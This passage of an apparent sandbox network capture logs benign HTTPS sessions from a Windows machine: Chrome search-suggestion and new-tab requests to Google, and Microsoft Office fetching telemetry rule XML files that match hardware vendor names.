49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	49731	142.250.185.228	443	6120	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:18 UTC	595	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlaHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc= Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-30 03:34:18 UTC	1266	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:18 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-idlbgtzAxetgd7_wgmJ63g' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-30 03:34:18 UTC	112	IN	Data Raw: 61 64 65 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 31 37 74 68 20 73 74 72 65 65 74 20 68 69 67 68 20 68 65 65 6c 20 72 61 63 65 22 2c 22 70 6f 77 65 72 62 61 6c 6c 20 6a 61 63 6b 70 6f 74 20 6c 6f 74 74 65 72 79 20 6e 75 6d 62 65 72 73 22 2c 22 74 65 6b 6b 65 6e 20 38 20 70 61 74 63 68 20 6e 6f 74 65 73 22 2c 22 68 75 72 72 69 63 61 6e Data Ascii: ade)]}'["",["17th street high heel race","powerball jackpot lottery numbers","tekken 8 patch notes","hurrican
2024-10-30 03:34:18 UTC	1378	IN	Data Raw: 65 73 20 74 72 6f 70 69 63 61 6c 20 73 74 6f 72 6d 73 22 2c 22 6d 61 72 63 20 61 6e 64 72 65 20 66 6c 65 75 72 79 22 2c 22 72 65 76 69 65 77 73 20 64 72 61 67 6f 6e 20 61 67 65 20 74 68 65 20 76 65 69 6c 67 75 61 72 64 22 2c 22 77 61 6c 6d 61 72 74 20 62 6c 61 63 6b 20 66 72 69 64 61 79 20 73 61 6c 65 73 22 2c 22 77 77 65 20 72 61 77 20 72 65 73 75 6c 74 73 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 48 4a 6c 62 6d 52 70 62 6d 63 67 63 32 56 68 63 6d 4e 6f 5a 58 4d Data Ascii: es tropical storms","marc andre fleury","reviews dragon age the veilguard","walmart black friday sales","wwe raw results"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM
2024-10-30 03:34:18 UTC	1299	IN	Data Raw: 6e 64 4e 62 6c 5a 4d 4d 69 74 35 64 55 5a 34 62 48 6c 5a 59 56 5a 32 54 6b 74 58 5a 55 73 30 65 45 4a 56 61 46 46 42 51 33 4e 6c 4c 31 6c 50 59 58 70 61 51 7a 5a 61 63 6e 68 49 64 48 4a 6e 61 6b 6c 6a 56 7a 4e 59 53 6c 52 79 54 57 52 30 65 6a 46 78 55 6e 70 69 53 31 5a 45 57 6e 70 32 5a 6a 41 72 4d 55 35 68 62 48 41 77 4d 56 42 71 54 54 4e 4b 52 6e 68 31 53 32 78 53 62 56 64 33 64 46 4e 75 57 6b 70 42 65 47 74 5a 4e 55 74 51 57 57 5a 6e 56 58 6c 72 63 55 4e 72 61 46 4e 54 51 32 74 71 53 55 6c 50 61 6c 52 48 4e 6c 6c 35 4d 7a 68 72 61 6a 64 53 55 6c 4a 58 61 33 6c 43 55 33 59 35 53 31 68 77 53 57 73 79 52 32 49 72 61 54 4a 49 64 79 39 59 5a 7a 4a 47 55 30 70 44 5a 30 5a 6c 51 6d 34 35 63 56 46 45 62 33 46 34 64 6d 56 6e 51 30 35 49 54 33 49 7a 4d 56 5a 6b Data Ascii: ndNblZMMit5dUZ4bHlZYVZ2TktXZUs0eEJVaFFBQ3NlL1lPYXpaQzZacnhIdHJnakljVzNYSlRyTWR0ejFxUnpiS1ZEWnp2ZjArMU5hbHAwMVBqTTNKRnh1S2xSbVd3dFNuWkpBeGtZNUtQWWZnVXlrcUNraFNTQ2tqSUlPalRHNll5MzhrajdSUlJXa3lCU3Y5S1hwSWsyR2IraTJIdy9YZzJGU0pDZ0ZlQm45cVFEb3F4dmVnQ05IT3IzMVZk
2024-10-30 03:34:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.6	49736	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:18 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:18 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:18 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 0427b385-801e-0048-0995-29f3fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033418Z-17c5cb586f6w4mfs5xcmnrny6n000000097g00000000c6dv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 03:34:18 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.6	49733	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:18 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:18 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:18 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: bed14624-901e-0029-5c4f-28274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033418Z-15b8d89586fzcfbd8we4bvhqds000000029g00000000ff47 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 03:34:18 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.6	49735	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:18 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:18 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:18 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 78a5d0bc-501e-005b-6da6-26d7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033418Z-16849878b78qg9mlz11wgn0wcc00000006xg00000000vapg x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 03:34:18 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.6	49734	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:18 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:18 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:18 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 09de4432-901e-0064-2428-27e8a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033418Z-17c5cb586f6w4mfs5xcmnrny6n000000095g00000000ftme x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 03:34:18 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.6	49732	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:18 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:18 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:18 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 6484a1a6-201e-0000-75a3-26a537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033418Z-16849878b78nx5sne3fztmu6xc00000008cg00000000gf27 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 03:34:18 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.6	49737	142.250.185.228	443	6120	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:18 UTC	498	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlaHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-30 03:34:18 UTC	1042	IN	HTTP/1.1 200 OK Version: 689297125 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Wed, 30 Oct 2024 03:34:18 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-30 03:34:18 UTC	336	IN	Data Raw: 32 36 64 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 31 64 20 67 62 5f 50 65 20 67 62 5f 70 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 26dd)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_1d gb_Pe gb_pd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-10-30 03:34:18 UTC	1378	IN	Data Raw: 20 67 62 5f 6e 64 20 67 62 5f 45 64 20 67 62 5f 6b 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 76 64 20 67 62 5f 71 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 Data Ascii: gb_nd gb_Ed gb_kd\"\u003e\u003cdiv class\u003d\"gb_vd gb_qd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u00
2024-10-30 03:34:18 UTC	1378	IN	Data Raw: 30 33 63 5c 2f 61 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 76 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 74 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 76 Data Ascii: 03c\/a\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_vd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_td\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_v
2024-10-30 03:34:18 UTC	1378	IN	Data Raw: 76 67 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 Data Ascii: vg class\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810
2024-10-30 03:34:18 UTC	1378	IN	Data Raw: 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 32 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 Data Ascii: 0.9,2 2,2zM12,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18
